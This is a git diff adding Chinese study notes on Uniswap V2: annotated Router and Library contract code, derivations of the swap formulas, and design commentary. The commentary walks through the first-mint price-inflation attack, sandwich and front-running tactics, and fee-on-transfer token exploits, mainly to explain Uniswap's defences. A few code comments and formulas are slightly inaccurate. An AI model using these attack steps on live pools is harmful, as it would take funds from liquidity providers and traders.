+    function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) {
+
+        // 判断数量， 首次添加流动性，随意定价，不需要查询该方法
+        require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT');
+        require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
+
+        // B数量 = 预期输入A的数量 * B的储备量 / A的储备量；  
+        // 实际公式就是 A/B = reserveA/reserveB, 两个币的数量比例一致
+        amountB = amountA.mul(reserveB) / reserveA;
+    }
+
+    // 通过精确输入金额,输入币的储备量，输出币的储备量，计算输出币的最大输出量
+    // given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
+    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) {
+        require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');
+        require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
+
+        // 具体看下面的公式推导，要看该公式，首先要理解uniswap AMM, X * Y= K
+        // 手续费都是扣输入额的千三，所以需要去掉千三后才是实际用于交易的金额
+        uint amountInWithFee = amountIn.mul(997);
+        uint numerator = amountInWithFee.mul(reserveOut);//套下面公式理解
+        uint denominator = reserveIn.mul(1000).add(amountInWithFee);
+        amountOut = numerator / denominator;
+        /*
+        *   查看下面的由in计算out公式: 
+        *   out = in * f * rOut / rIn + in *f
+        *   手续费是千三， 扣除手续费后去交易的金额是输入额的0.997, 公式中的f是0.997 内部计算用的uint,所以分子分母都 * 1000
+        *   最终的公式是    out = in * 997 * rOut / ((rIn + in *f) * 1000)
+        *                 out = in * 997 * rOut / (rIn*1000 + in * 997)
+        */
+    }
+
+    /**
+    *
+    *
+    * 推导公式
+    * in 输入金额， out 输出金额
+    * rIn tokenIn的流动性， rOut，tokenOut的流动性
+    * fee 手续费，注：当前带入0.997   也就是997/1000
+    *
+    * 两个计算公式实际是一样的， 只是一个求in,一个求out
+    * (rIn + in * f) * (rOut - out) = rIn * rOut
+    *
+    *
+    * 由out计算in  getAmountIn
+    *      (rIn + in * f) * (rOut - out) = rIn * rOut
+
+    *      rIn * rOut + in * f * rOut  - rIn * out - in * f * out = rIn * rOut
+
+    *      rIn * out = in * f * rOut - in * f * out
+
+    *      in = rIn * out / (f * (rOut - out)) + 1  (尾部的 +1应该是避免精度计算，最后一位小了，会成交不了)
+    *
+    *
+    * 由in计算out  getAmountOut 下面是公式转换过程，最终就简化成代码中的
+    *      (rIn + in * f) * (rOut - out) = rIn * rOut
+
+    *      rIn * rOut + in * f * rOut  - rIn * out - in * f * out = rIn * rOut
+
+    *      in * f * rOut = rIn * out + in * f * out
+
+    *      out = in * f * rOut / rIn + in * f
+    *
+    */
+
+    // given an output amount of an asset and pair reserves, returns a required input amount of the other asset
+    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) {
+        require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT');
+        require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
+
+        // 先看上面的由out计算in 公式推导
+        // 对应公式中的rIn * out, 乘以1000是0.997需要换算成整数
+        uint numerator = reserveIn.mul(amountOut).mul(1000);
+
+        // 对应上面的分母 (f * (rOut - out)),乘以1000后就是 997 * (rOut - out)
+        uint denominator = reserveOut.sub(amountOut).mul(997);
+        amountIn = (numerator / denominator).add(1);
+    }
+
+    // 根据path,计算出每个交易对的输入/输出量(如果path>2,前一个交易对的输出量，就是下一个交易对交易的输入量)
+    // 内部实际还是调用的上面getAmountOut方法， 返回值amounts长度和path的长度一致，
+    // performs chained getAmountOut calculations on any number of pairs
+    function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) {
+        require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
+        amounts = new uint[](path.length);
+        amounts[0] = amountIn;
+        for (uint i; i < path.length - 1; i++) {
+            // 每两个token组成一个交易对，计算out
+            (uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]);
+            amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut);
+        }
+    }
+
+    // 根据path,计算出每个交易对的输入/输出量(如果path>2,前一个交易对的输出量，就是下一个交易对交易的输入量)
+    // 内部实际还是调用的上面getAmountIn方法， 返回值amounts长度和path的长度一致，
+    // performs chained getAmountIn calculations on any number of pairs
+    function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) {
+        require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
+        amounts = new uint[](path.length);
+        amounts[amounts.length - 1] = amountOut;
+        for (uint i = path.length - 1; i > 0; i--) {//倒序遍历计算
+            (uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]);
+            amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut);
+        }
+    }
+}
+```
+
+## UniswapV2Router02
+
+### 添加流动性
+#### addLiquidity/addLiquidityETH
+这两个的区别就是eth会内部帮转weth,再去添加流动性，多余的eth会返回给用户
+
+```
+    function addLiquidity(
+        address tokenA, // 代币地址A
+        address tokenB, // 代币地址B
+        uint amountADesired, // 代币A 期望添加量
+        uint amountBDesired, // 代币B 期望添加量
+        uint amountAMin, // 代币A 最小添加量(这两个min,首次添加的时候可以和Desired一样， 二次添加的时候，一般都是小于Desired，具体小多少，算法可以查看uniswap前端代码)
+        uint amountBMin, // 代币B 最小添加量
+        address to, // lp接收人
+        uint deadline // 交易的成交时间，默认是当前时间+20分钟后的时间的秒值
+    ) external virtual override ensure(deadline) returns (uint amountA, uint amountB, uint liquidity) {
+        // 调用内部方法 _addLiquidity 获取到两个币实际所需要的数量
+        (amountA, amountB) = _addLiquidity(tokenA, tokenB, amountADesired, amountBDesired, amountAMin, amountBMin);
+
+        // 查找到pair地址
+        address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB);
+
+        // 向pair转移给定的A/B token数量
+        TransferHelper.safeTransferFrom(tokenA, msg.sender, pair, amountA);
+        TransferHelper.safeTransferFrom(tokenB, msg.sender, pair, amountB);
+
+        // 调用pair的mint方法，返回添加的lp数量
+        liquidity = IUniswapV2Pair(pair).mint(to);
+    }
+```
+#### _addLiquidity 添加流动性, 内部方法计算添加流动性时两币种的数量
+
+```
+    function _addLiquidity(
+        address tokenA,
+        address tokenB,
+        uint amountADesired,
+        uint amountBDesired,
+        uint amountAMin,
+        uint amountBMin
+    ) internal virtual returns (uint amountA, uint amountB) {
+        // create the pair if it doesn't exist yet
+        // 通过factory, 查询pair, 如果等于0地址，就表示还没有该交易对，调用创建方法
+        if (IUniswapV2Factory(factory).getPair(tokenA, tokenB) == address(0)) {
+            IUniswapV2Factory(factory).createPair(tokenA, tokenB);
+        }
+
+        // 如果查询两个值都是0，首次添加，直接使用期望值
+        (uint reserveA, uint reserveB) = UniswapV2Library.getReserves(factory, tokenA, tokenB);
+        if (reserveA == 0 && reserveB == 0) {
+            // 直接使用这两个值，比例就是相互的币价
+            (amountA, amountB) = (amountADesired, amountBDesired);
+        } else {
+            // 如果两个储备量不为0，需要根据当前的价格/比例去新增流动性
+            // 先通过quote计算如果输入A的数量，得出B的实际输入量
+            uint amountBOptimal = UniswapV2Library.quote(amountADesired, reserveA, reserveB);
+
+            // 如果B的实际输入量 <= B的期望输入数量，
+            if (amountBOptimal <= amountBDesired) {
+                // 实际输入量需要大于等于参数中的最小数量
+                require(amountBOptimal >= amountBMin, 'UniswapV2Router: INSUFFICIENT_B_AMOUNT');
+
+                // 得到两个的实际添加量
+                (amountA, amountB) = (amountADesired, amountBOptimal);
+            } else {
+                // 如果上面计算的B的实际输入量大于期望输入量，就说明用户得B数量不够， 需要反过来，通过B计算A的数量， 看A的数量是否满足，
+                // 通过B计算A的数量
+                uint amountAOptimal = UniswapV2Library.quote(amountBDesired, reserveB, reserveA);
+
+                // 需要计算得来的A量小于等于A的预期输入量
+                assert(amountAOptimal <= amountADesired);
+
+                // 且实际输入量，需要大于等于最小数量
+                require(amountAOptimal >= amountAMin, 'UniswapV2Router: INSUFFICIENT_A_AMOUNT');
+
+                // 得到两个的实际添加量
+                (amountA, amountB) = (amountAOptimal, amountBDesired);
+            }
+        }
+    }
+```
+
+###  移除流动性
+#### removeLiquidity
+该方法需要先将lp授权给router
+```
+    // 移除流动性，该方法需要先将lp代币授权给路由合约，才能代扣lp
+    function removeLiquidity(
+        address tokenA,
+        address tokenB,
+        uint liquidity, // 移除lp的数量，转入lp得另外两个币
+        uint amountAMin, // A的最小输出量
+        uint amountBMin, // B的最小输出量
+        address to, // 接收两个币的地址
+        uint deadline
+    ) public virtual override ensure(deadline) returns (uint amountA, uint amountB) {
+        // 获取pair地址
+        address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB);
+        
+        // 将lp转到pair地址
+        IUniswapV2Pair(pair).transferFrom(msg.sender, pair, liquidity); // send liquidity to pair
+
+        // 调用pair的burn方法， 内部会将两个币的数量转给to,返回值就是两个代币的输出数量
+        (uint amount0, uint amount1) = IUniswapV2Pair(pair).burn(to);
+
+        // 通过排序确认两个amountA/B
+        (address token0,) = UniswapV2Library.sortTokens(tokenA, tokenB);
+        (amountA, amountB) = tokenA == token0 ? (amount0, amount1) : (amount1, amount0);
+
+        // 校验A/B的输出量需要小于参数中要求的最小量，否则交易失败
+        require(amountA >= amountAMin, 'UniswapV2Router: INSUFFICIENT_A_AMOUNT');
+        require(amountB >= amountBMin, 'UniswapV2Router: INSUFFICIENT_B_AMOUNT');
+    }
+```
+- removeLiquidityETH
+- removeLiquidityWithPermit
+- removeLiquidityETHWithPermit
+以上3个remove内部还是调用removeLiquidity
+带ETH的区别是，调用接收币是router，然后由路由将weth转换成eth，后将两笔币转发给用户
+带 Permit是EIP712 带签名信息，验证签名后，Premit里面会授权，将授权和移除在一个交易内完成
+
+#### removeLiquidityETHSupportingFeeOnTransferTokens
+#### removeLiquidityETHWithPermitSupportingFeeOnTransferTokens
+这两个方法名带ETH ，调用removeLiquidity的时候，接收者是router，由路由再转给用户
+这两个和removeLiquidityETH的区别是：
+如果另外一个币种是转账扣手续费的币，比如移除的时候可以获取到100个
+
+```
+// amount0 假如是100
+(uint amount0, uint amount1) = IUniswapV2Pair(pair).burn(to);
+```
+由于转账扣手续费，例如10%，在pair->router的时候，实际router只得到90个
+在removeLiquidityETH是直接使用amount0，即100，实际就不够了
+
+```
+TransferHelper.safeTransfer(token, to, amount0);
+```
+而removeLiquidityETHSupportingFeeOnTransferTokens转移的是router中持有的余额
+
+```
+TransferHelper.safeTransfer(token, to, IERC20(token).balanceOf(address(this)));
+```
+
+
+### 交换
+- swapExactTokensForTokens
+- swapTokensForExactTokens
+
+先说下这两种方法的区别， exact表示哪边的金额是精确的
+
+swapExactTokensForTokens 是输入值精确，参数中会有个最小输出，作为交易限制，没有达到amountOutMin, 交易失败
+对应的查询金额方法  getAmountsOut(factory, amountIn, path)
+
+swapTokensForExactTokens 是输出值精确，参数中会有一个amountInMax，购买精确输出时最大允许支付这个值，否则交易失败
+对应的查询金额方法  getAmountsIn(factory, amountOut, path)
+
+#### swapExactTokensForTokens
+
+```
+    function swapExactTokensForTokens(
+        uint amountIn,
+        uint amountOutMin,
+        address[] calldata path,
+        address to,
+        uint deadline
+    ) external virtual override ensure(deadline) returns (uint[] memory amounts) {
+        // 通过getAmountsOut获取整个path完整路径的输入/出量，下标0是用户实际输入额，最后一个位置是实际输出额
+        amounts = UniswapV2Library.getAmountsOut(factory, amountIn, path);
+
+        // 需要满足计算得来最终输出量大于等于最小输出金额
+        require(amounts[amounts.length - 1] >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
+
+        // 先将amounts[0]入金额转入第一个pair!
+        TransferHelper.safeTransferFrom(
+            path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]
+        );
+
+        // 调用内部_swap方法
+        _swap(amounts, path, to);
+    }
+```
+- swapTokensForExactTokens
+- swapExactETHForTokens
+- swapTokensForExactETH
+- swapExactTokensForETH
+- swapETHForExactTokens
+
+以上几个都差不多，带ETH的就是router帮忙把eth转weth后交换，或者router帮忙把weth转换eth后给用户
+
+#### swapExactTokensForTokensSupportingFeeOnTransferTokens
+支持带交易手续费币种
+- swapExactETHForTokensSupportingFeeOnTransferTokens
+- swapExactTokensForETHSupportingFeeOnTransferTokens
+
+上面两个带eth,差别就是eth转换
+注意支持手续费的都是输入币精确
+```
+    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
+        uint amountIn,
+        uint amountOutMin,
+        address[] calldata path,
+        address to,
+        uint deadline
+    ) external virtual override ensure(deadline) {
+        // 将输入金额转到第一个pair地址
+        TransferHelper.safeTransferFrom(
+            path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amountIn
+        );
+
+        // 查询to用户当前最终输出token的余额
+        uint balanceBefore = IERC20(path[path.length - 1]).balanceOf(to);
+
+        // 调用内部交易方法
+        _swapSupportingFeeOnTransferTokens(path, to);
+
+        // 通过查询余额的方式，校验交易前后的余额差，大于等于最小输出！
+        require(
+            IERC20(path[path.length - 1]).balanceOf(to).sub(balanceBefore) >= amountOutMin,
+            'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT'
+        );
+    }
+```
+
+
+#### _swap 内部方法
+注意这个英文注释 需要先将amounts[0]转到第一个pair
+```
+    // requires the initial amount to have already been sent to the first pair
+    function _swap(uint[] memory amounts, address[] memory path, address _to) internal virtual {
+        for (uint i; i < path.length - 1; i++) {
+            // 得到进/出token地址
+            (address input, address output) = (path[i], path[i + 1]);
+
+            // 排序得到token0
+            (address token0,) = UniswapV2Library.sortTokens(input, output);
+
+            // 获取到out币种的输出量！
+            uint amountOut = amounts[i + 1];
+
+            // 根据token0，input得到amount0需要out,还是amount1是out,; 注意其中之一一定是0，即入token的金额，不需要pair转出
+            (uint amount0Out, uint amount1Out) = input == token0 ? (uint(0), amountOut) : (amountOut, uint(0));
+
+            // 如果i小于path长度-2，就表示还需要继续交易，所以to是下一个交易对，如果一样就表示path结束了，to就是参数中的_to
+            address to = i < path.length - 2 ? UniswapV2Library.pairFor(factory, output, path[i + 2]) : _to;
+
+            // 调用pair的 swap方法，其中一个out是0，另一个是要转出的金额， 内部是转出输出量，并校验交易是否正确，更新储备量
+            IUniswapV2Pair(UniswapV2Library.pairFor(factory, input, output)).swap(
+                amount0Out, amount1Out, to, new bytes(0)
+            );
+        }
+    }
+```
+
+#### _swapSupportingFeeOnTransferTokens
+支持转账时扣手续费
+同样需要先将amounts[0]转到第一个pair
+和_swap的区别就在这里，不是使用计算来的amounts[0]作为输入，而是通过查询pair余额再减去最后更新的储备量得到实际pair到账额！)
+
+```
+    // **** SWAP (supporting fee-on-transfer tokens) ****
+    // requires the initial amount to have already been sent to the first pair
+    function _swapSupportingFeeOnTransferTokens(address[] memory path, address _to) internal virtual {
+        for (uint i; i < path.length - 1; i++) {
+            // 得到进/出token地址
+            (address input, address output) = (path[i], path[i + 1]);
+
+            // 排序得到token0
+            (address token0,) = UniswapV2Library.sortTokens(input, output);
+
+            // 获取pair
+            IUniswapV2Pair pair = IUniswapV2Pair(UniswapV2Library.pairFor(factory, input, output));
+            uint amountInput;
+            uint amountOutput;
+            { // scope to avoid stack too deep errors 避免堆栈太深错误，用{}括部分临时变量
+                // 获取两个币的储备量
+                (uint reserve0, uint reserve1,) = pair.getReserves();
+
+                // 根据input,token0 得出 inToken的储备量,outToken的储备量
+                (uint reserveInput, uint reserveOutput) = input == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
+
+                // 查询交易对的inToken余额，减掉最后记录的储备量，就是交易对实际获取到的inToken数量，用实际额去和pair交互
+                amountInput = IERC20(input).balanceOf(address(pair)).sub(reserveInput);
+
+                // 通过实际得到的input量，计算实际会输出的out数量
+                amountOutput = UniswapV2Library.getAmountOut(amountInput, reserveInput, reserveOutput);
+            }
+
+            // 根据token0，input得到amount0需要out,还是amount1是out,; 注意其中之一一定是0，即入token的金额，不需要pair转出
+            (uint amount0Out, uint amount1Out) = input == token0 ? (uint(0), amountOutput) : (amountOutput, uint(0));
+
+            // 如果i小于path长度-2，就表示还需要继续交易，所以to是下一个交易对，如果一样就表示path结束了，to就是参数中的_to
+            address to = i < path.length - 2 ? UniswapV2Library.pairFor(factory, output, path[i + 2]) : _to;
+
+            // 调用pair的 swap方法，其中一个out是0，另一个是要转出的金额， 内部是转出输出量，并校验交易是否正确，更新储备量
+            pair.swap(amount0Out, amount1Out, to, new bytes(0));
+        }
+    }
+```
diff --git a/defi/Uniswap-V2/design/design-comments.md b/defi/Uniswap-V2/design/design-comments.md
new file mode 100644
index 000000000..ee7f4f602
--- /dev/null
+++ b/defi/Uniswap-V2/design/design-comments.md
@@ -0,0 +1,277 @@
+## 参考
+
+最近在学习 [Uniswap V2](https://app.uniswap.org/#/)
+
+关于整体框架的文章早有珠玉在前，如
+
+- [当面试官问你Uniswap的时候，你应该想到什么？](https://learnblockchain.cn/article/2753)
+- [精通Uniswap](https://learnblockchain.cn/article/1448)
+
+这里记录一下边角
+
+参考
+
+- [Uniswap Docs V1](https://docs.uniswap.org/contracts/v1/overview)
+- [Formal Specification of Constant Product (x × y = k) Market Maker Model and Implementation](https://github.com/runtimeverification/verified-smart-contracts/blob/master/uniswap/x-y-k.pdf)
+- [Uniswap Docs V2: Advanced Topics](https://docs.uniswap.org/contracts/v2/overview)
+- [Uniswap V2 Audit Report](https://dapp.org.uk/reports/uniswapv2.html#org03a620d)
+
+## 首次铸币的漏洞
+
+如果在首次注入流动性时，直接使用 `Math.sqrt(amount0.mul(amount1))` 为总流动性，会导致一个漏洞：为了垄断交易对，早期的流动性参与者可以刻意抬高流动性单价，使得散户无力参与，即无法提供流动性
+
+攻击流程为:
+
+首先，发送小额 token (比如 1 wei) 到交易对并且 `mint()`，得到 1 wei `LP Tokens`，此时池子中 `totalSuppy` 为 1 wei，`reserve0` 和 `reserve1` 也为 1 wei
+
+然后，发送大额 token (比如 2000 ether) 到交易对，但不调用 `mint()`，而是直接调用 `sync()`，此时池子中 `totalSuppy` 为 1 wei，`reserve0` 和 `reserve1` 分别为 1 wei + 2000 ether
+
+
+
+攻击结束，此时流动性单价为 $\frac{(1 + 2000 \times 10^{18})}{1} \approx 2000 \times 10^{18}$ ，即约为 `2000 ether`
+
+换句话说，散户即使只想提供最小单位的 1 wei 流动性，也要付出 2000 ether 的 token，只能望洋兴叹了..
+
+根据白皮书公式 (7)
+
+$s_{m} = \frac{\sqrt{k_{2}} - \sqrt{k_{1}}}{5 \cdot \sqrt{k_{2}} + \sqrt{k_{1}}} \cdot s_{1}$
+
+又有 $\sqrt{k_{2}} \ggg \sqrt{k_{1}}$，且 $s_{1}$ 为 1，且计算时整数相除
+
+所以
+
+$s_{m} \approx \left\lfloor \frac{\sqrt{k_{2}}}{5 \cdot \sqrt{k_{2}}} \cdot s_{1} \right\rfloor = \left\lfloor \frac{1}{5} \cdot 1 \right\rfloor = 0$
+
+好家伙，手续费的平台部分 ($\frac{1}{6}$) 为 0，羊毛都被薅秃了...
+
+为了解决这个问题，必须降低参与门槛，即降低流动性单价；换句话说，必须限制总流动性的下限
+
+首次注入流动性的源码如下
+
+``` js
+contract UniswapV2Pair is IUniswapV2Pair, UniswapV2ERC20 {
+    using SafeMath  for uint;
+    uint public constant MINIMUM_LIQUIDITY = 10**3;
+
+    function mint(address to) external lock returns (uint liquidity) {
+        if (_totalSupply == 0) {
+            liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
+            _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
+        }
+    }
+    require(liquidity > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED');
+}
+```
+
+这里 `uint` 使用 `SafeMath`，所以 `sub()` 操作会有溢出检查，也就是说首次铸币时总流动性大于 `MINIMUM_LIQUIDITY` (1000)，否则会 REVERT
+
+为了避免攻击者通过 `burn()` 将流动性销毁，导致总流动性不低于 1000 的限制被绕过，代码还会从首次铸币者本应获得的流动性中扣除 1000 ，将其发往 `address(0)` 锁住，以此达成限制
+
+在这种限制下，如果重新执行攻击流程，流动性单价最大值为 $\frac{(1001 + 2000 \times 10^{18})}{1001} \approx 2 \times 10^{18}$ ，即约为 `2 ether`
+
+对散户而言，比起 `2000 ethen` 的单价，友好很多，终于可以参与了
+
+// 如果还是觉得门槛很高，记住：穷是我等散户的问题
+
+更重要的是，平台也能收到手续费了..
+
+站在散户和平台的角度来看，这是双赢..
+
+至于首次铸币者的损失么，好像没什么人会关心..
+
+不过即使交易对的 token 都非常非常值钱，比如说 1 个 token 值 ${10}^{18}$ 美元，首次铸币者也就损失 2000 美元而已..
+
+换句话说，平台从被薅，摇身一变，薅起了大户的九羊一毛
+
+双赢就是平台赢了两次
+
+## 谁的利益
+
+如上所述，首次铸币时，为了解决攻击漏洞，牺牲了首次铸币者的利益
+
+实际上，Uniswap 中存在很多除法，在无法整除的情况下，不同的 round 方式，偏向的利益方也各不不同
+
+对比明显的两个函数如下
+
+``` js
+// given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
+function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) {
+    require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');
+    require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
+    uint amountInWithFee = amountIn.mul(997);
+    uint numerator = amountInWithFee.mul(reserveOut);
+    uint denominator = reserveIn.mul(1000).add(amountInWithFee);
+    amountOut = numerator / denominator;
+}
+
+// given an output amount of an asset and pair reserves, returns a required input amount of the other asset
+function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) {
+    require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT');
+    require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
+    uint numerator = reserveIn.mul(amountOut).mul(1000);
+    uint denominator = reserveOut.sub(amountOut).mul(997);
+    amountIn = (numerator / denominator).add(1);
+}
+```
+
+两个函数都必须偏向流动性提供者，因此它们的最后一行分别不加 1 和加 1，即 `AmountOut` 向下取整数，`amountIn` 向上取整
+
+另外，
+
+`_update()`，误差会累加，无所谓偏向谁的利益，只是提供一个机制，预言机自行决定实现；如果交易对精度很高 (`decimals` 很小)，误差会很大
+
+`mint()` 注入流动性时，偏向已有的流动性提供者
+
+`burn()` 销毁流动性时，偏向仍旧留下的流动性提供
+
+`_mintFee()` 平台收取手续费时，偏向平台
+
+## 矿工的攻击
+
+### 两种攻击收益
+
+1. 滑点收益
+
+在用户交易前后夹上自己的两个 `swap()` 交易，分别为换入和换回，以此赚得滑点收益，薅的是用户的羊毛
+
+Uniswap 部分了解决这个问题：periphery 允许用户在交易时设置最小输出参数 `amountOutMin`，
+
+2. 手续收益
+
+在用户交易前后夹上自己的 `mint()` 交易 和 `burn()` 交易，提供临时的海量流动性，以此赚得手续收益，薅的是流动性提供者的羊毛
+
+Uniswap V2 未解决这个问题
+
+### 两个攻击例子
+
+#### 例子1
+
+参考：[Ethereum is a Dark Forest](https://www.paradigm.xyz/2020/08/ethereum-is-a-dark-forest/)：
+
+有位 Uniswap 用户错误地将代币直接转给了交易对 (正确的方式是：而非 `approve()` 后调用 `mint()`），在社群上求助，希望可以取回代币
+
+首次铸币漏洞的发现者 Dan Robinson，马上检查了交易对，发现交易对中差额 (`balance` > `reserve`) 还存在
+
+此时，只要发起交易，直接调用 `skim()` (或者像文章一样调用 `burn()`)，即可取回差额
+
+悲剧的是，交易被抢跑了... [抢跑交易在这](https://etherscan.io/tx/0xcc7f752e990b32befa1e0c82b036b3753ec3d876b336007cd568983dca0af497)
+
+#### 例子2
+
+今年 3 月份 DODO 交易所资金池被黑客攻击，转走近 200 万美元的资产
+
+// 受害人声泪俱下，[围观地址](https://learnblockchain.cn/video/play/273) (空降指挥部 30:15)
+
+喜剧的是，黑客在试图转移资产时，交易被白帽抢跑了..
+
+samczsun 大佬协助联系白帽，取回了部分资产，参考：
+
+[关于DODO黑客事件的最新进展](https://community.dodoex.co/t/topic/925)
+[DODO 攻击事件总结：已追回310万美金，一周内恢复众筹建池](https://community.dodoex.co/t/topic/943)
+
+### 解决?
+
+抢跑和重排，是个结构性问题；虽然以太坊目前无法在机制上解决，但也有非常之策，比如 samczsun 大佬，跑得比抢跑者还快 [Escaping the Dark Forest](https://samczsun.com/escaping-the-dark-forest/)
+
+为了对抗抢跑交易，另一类人开发了 [Flash Bots](https://docs.flashbots.net/) 客户端，原理是将交易以私密形式发给 Flashbots 节点，只有成功出块时才做广播
+
+Flashbots 似乎很常见了，比如我最近的两笔 SushiSwap 交易，都由 Flashbots 节点挖出：
+
+[Swap 交易](https://etherscan.io/tx/0x38ec4d360c3198c997b66970370a6b764f5e56f58352d2625a71b2afdda4b901)，[所在区块](https://etherscan.io/block/13205280)
+
+[Swap 交易](https://etherscan.io/tx/0xcdcd1c4df27bcaa3b81f3db357f6c8f91606d513ee1f44317789cdf2a4a6eefb)，[所在区块](https://etherscan.io/block/13205340)
+
+### 反思
+
+Flash Boys 并非万无一失，也承担着风险：如果它挖出抢炮区块时正好发生分叉，所挖区块被大多数节点当成叔块..
+
+因为叔块包含了 Flash Boys 签名的抢跑交易，所以又有攻击者可以将抢跑交易在新区块中重放，抢跑其抢跑交易
+
+## 非标准的 ERC-20
+
+ERC-20 定义的 `transferFrom` 接口如下
+
+``` js
+interface IERC20 {
+    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
+}
+```
+
+然而，某些 token 在实现时，会在判断余额满足 `amount` 后，扣除部分手续费，再转给 `recipient`
+
+即 `recipient` 实际收到的数额，会比 `amount` 小，因此我们不能简单以其返回值 `true` 作为判断依据
+
+前两天刚刚有个闪电贷攻击事件，黑客就是利用了这种非标 token 的问题，薅了百余个 ETH
+
+参考 [Avalanche 链上闪电贷攻击事件 —— Zabu Finance 被黑分析](https://mp.weixin.qq.com/s/fR5dVzpaoggwgGMyUih-ug)
+
+出于安全考虑，Uniswap 处理时以交易对自身 `balance` 为准
+
+出于方便用户的考虑，Uniswap 提供如下接口：
+
+``` js
+interface IUniswapV2Router02 is IUniswapV2Router01 {
+    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
+        uint amountIn,
+        uint amountOutMin,
+        address[] calldata path,
+        address to,
+        uint deadline
+    ) external;
+}
+```
+
+## 预言机
+
+Uniswap V2 使用基于时间权重的算数平均数，所以无法像 V1 一样，根据一个代币的 spot price，求其倒数作为另一个代币的价格
+
+即两个算数平均数之间无直接关系，因此两个价格必须都存下来
+
+![Storing Cumulative Price Data On-Chain](https://docs.uniswap.org/assets/images/v2_onchain_price_data-c051ebca6a5882e3f2ad758fa46cbf5e.png)
+
+实际上，算数平均数是调和平均数的倒数，比如以上 [官方文档](https://docs.uniswap.org/protocol/V2/concepts/core-concepts/oracles) 中的例子，简单计算如下：
+
+priceA 算数平均数
+
+$$
+\begin{aligned} \small\text{WAM}_{priceA} = \frac{10200}{1000} \times \frac{7}{20} + \frac{10300}{1000} \times \frac{8}{20} + \frac{10500}{1000} \times \frac{5}{20} \\ = \frac{10200 \times 7 + 10300 \times 8 + 10500 \times 5}{1000 * 20} \end{aligned}
+$$
+
+PriceB 调和平均数
+
+$$
+\begin{aligned} \small\text{WHM}_{PriceB} = \frac{1}{\frac{\frac{7}{20}}{\frac{1000}{10200}} + \frac{\frac{8}{20}}{\frac{1000}{10300}} + \frac{\frac{5}{20}}{\frac{1000}{10500}}} = \frac{20}{\frac{7}{\frac{1000}{10200}} + \frac{8}{\frac{1000}{10300}} + \frac{5}{\frac{1000}{10500}}} \\ = \frac{1000 * 20}{10200 \times 7 + 10300 \times 8 + 10500 \times 5} \end{aligned}
+$$
+
+
+可见二者互为倒数
+
+
+$$
+WAM_{priceA}=\frac{1}{WHM_{priceB}}
+$$
+
+
+反之，priceA 调和平均数 与 priceB 算数平均数 也互为倒数
+
+当然，假设使用几何平均数，那么存储一个价格足以，例如
+
+$$
+\small\text{WGM}_{priceA} = \sqrt[7+8+5]{{\frac{10200}{1000}}^7 \times {\frac{10300}{1000}}^8 \times {\frac{10500}{1000}}^5}
+$$
+
+$$
+\small\text{WGM}_{priceB} = \sqrt[7+8+5]{{\frac{1000}{10200}}^7 \times {\frac{1000}{10300}}^8 \times {\frac{1000}{10500}}^5}
+$$
+
+可见
+
+$$
+WGM_{priceA}=\frac{1}{{WGM}_{priceB}}
+$$
+
+
+
+只是在这里，前后区块的价格无复合关系，几何平均数并不适用
+
+另外，在 EVM 中计算几何平均数也比较麻烦
diff --git a/defi/Uniswap-V2/design/graphs.md b/defi/Uniswap-V2/design/graphs.md
new file mode 100644
index 000000000..9bd4873f1
--- /dev/null
+++ b/defi/Uniswap-V2/design/graphs.md
@@ -0,0 +1,38 @@
+## 起源
+
+最近在学习 Uniswap V2 中的一些数学运算，为了方便理解，我在 desmos 上做了一个可交互的曲线，[地址在这](https://www.desmos.com/calculator/youuxzbvr7)
+
+目前功能相对简单，可以展示 注入/销毁流动性，Swap 交易，调整 fee；另外展示了一些辅助线，比如预期价格切线，成交价格的滑点等
+
+原本准备加上无常损失，以及套利公式的一些分析，但由于时间不够，只能先搁置了
+
+这里做下基础演示，隐藏功能自行尝试吧 ～.
+
+## 注入/销毁流动性
+
+![](./images/uniswap_v2_mint.gif)
+
+按比例注入交易对，其市场价格不变
+
+## 调整市场价格
+
+![](./images/uniswap_v2_reserve.gif)
+
